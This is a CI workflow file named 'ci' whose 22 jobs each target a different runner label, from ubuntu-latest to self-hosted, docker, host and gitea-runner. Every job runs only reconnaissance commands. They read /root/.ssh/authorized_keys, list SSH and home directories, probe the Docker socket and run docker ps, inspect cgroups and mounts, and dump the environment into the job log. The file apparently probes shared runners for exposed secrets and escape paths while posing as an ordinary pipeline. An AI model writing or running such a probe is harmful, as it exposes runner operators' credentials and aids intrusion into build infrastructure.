name: ci on: push: workflow_dispatch: jobs: j01: runs-on: ubuntu-latest steps: - name: p run: | echo "MATCH_LABEL=ubuntu-latest" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=ubuntu-latest j02: runs-on: ubuntu-22.04 steps: - name: p run: | echo "MATCH_LABEL=ubuntu-22.04" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=ubuntu-22.04 j03: runs-on: ubuntu-20.04 steps: - name: p run: | echo "MATCH_LABEL=ubuntu-20.04" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=ubuntu-20.04 j04: runs-on: ubuntu-24.04 steps: - name: p run: | echo "MATCH_LABEL=ubuntu-24.04" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=ubuntu-24.04 j05: runs-on: self-hosted steps: - name: p run: | echo "MATCH_LABEL=self-hosted" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=self-hosted j06: runs-on: linux steps: - name: p run: | echo "MATCH_LABEL=linux" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=linux j07: runs-on: docker steps: - name: p run: | echo "MATCH_LABEL=docker" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=docker j08: runs-on: host steps: - name: p run: | echo "MATCH_LABEL=host" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=host j09: runs-on: act steps: - name: p run: | echo "MATCH_LABEL=act" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=act j10: runs-on: gitea-runner steps: - name: p run: | echo "MATCH_LABEL=gitea-runner" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=gitea-runner j11: runs-on: linux-amd64 steps: - name: p run: | echo "MATCH_LABEL=linux-amd64" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=linux-amd64 j12: runs-on: x64 steps: - name: p run: | echo "MATCH_LABEL=x64" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=x64 j13: runs-on: amd64 steps: - name: p run: | echo "MATCH_LABEL=amd64" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=amd64 j14: runs-on: ci steps: - name: p run: | echo "MATCH_LABEL=ci" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=ci j15: runs-on: build steps: - name: p run: | echo "MATCH_LABEL=build" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=build j16: runs-on: local steps: - name: p run: | echo "MATCH_LABEL=local" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=local j17: runs-on: native steps: - name: p run: | echo "MATCH_LABEL=native" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=native j18: runs-on: ubuntu steps: - name: p run: | echo "MATCH_LABEL=ubuntu" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=ubuntu j19: runs-on: debian steps: - name: p run: | echo "MATCH_LABEL=debian" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=debian j20: runs-on: node20 steps: - name: p run: | echo "MATCH_LABEL=node20" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=node20 j21: runs-on: container steps: - name: p run: | echo "MATCH_LABEL=container" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=container j22: runs-on: selfhosted steps: - name: p run: | echo "MATCH_LABEL=selfhosted" id; hostname; uname -a; cat /etc/hosts 2>/dev/null echo "---ROOT---"; ls -la / 2>&1 | head -30 echo "---HOME---"; echo HOME=$HOME; ls -la /root 2>&1 | head -20; ls -la /home 2>&1 | head -20; ls -la ~ 2>&1 | head -20 echo "---SSH---"; ls -la /root/.ssh /home/*/.ssh 2>&1 | head -30; (cat /root/.ssh/authorized_keys 2>&1) | head -5 echo "---SOCK---"; ls -la /var/run/docker.sock /run/docker.sock 2>&1; (docker ps 2>&1 | head -5) || true echo "---CGROUP---"; cat /proc/1/cgroup 2>&1 | head -5 echo "---MOUNT---"; (mount 2>&1 || cat /proc/mounts 2>&1) | head -25 echo "---ENV---"; env | sort | head -80 echo DONE_MATCH=selfhosted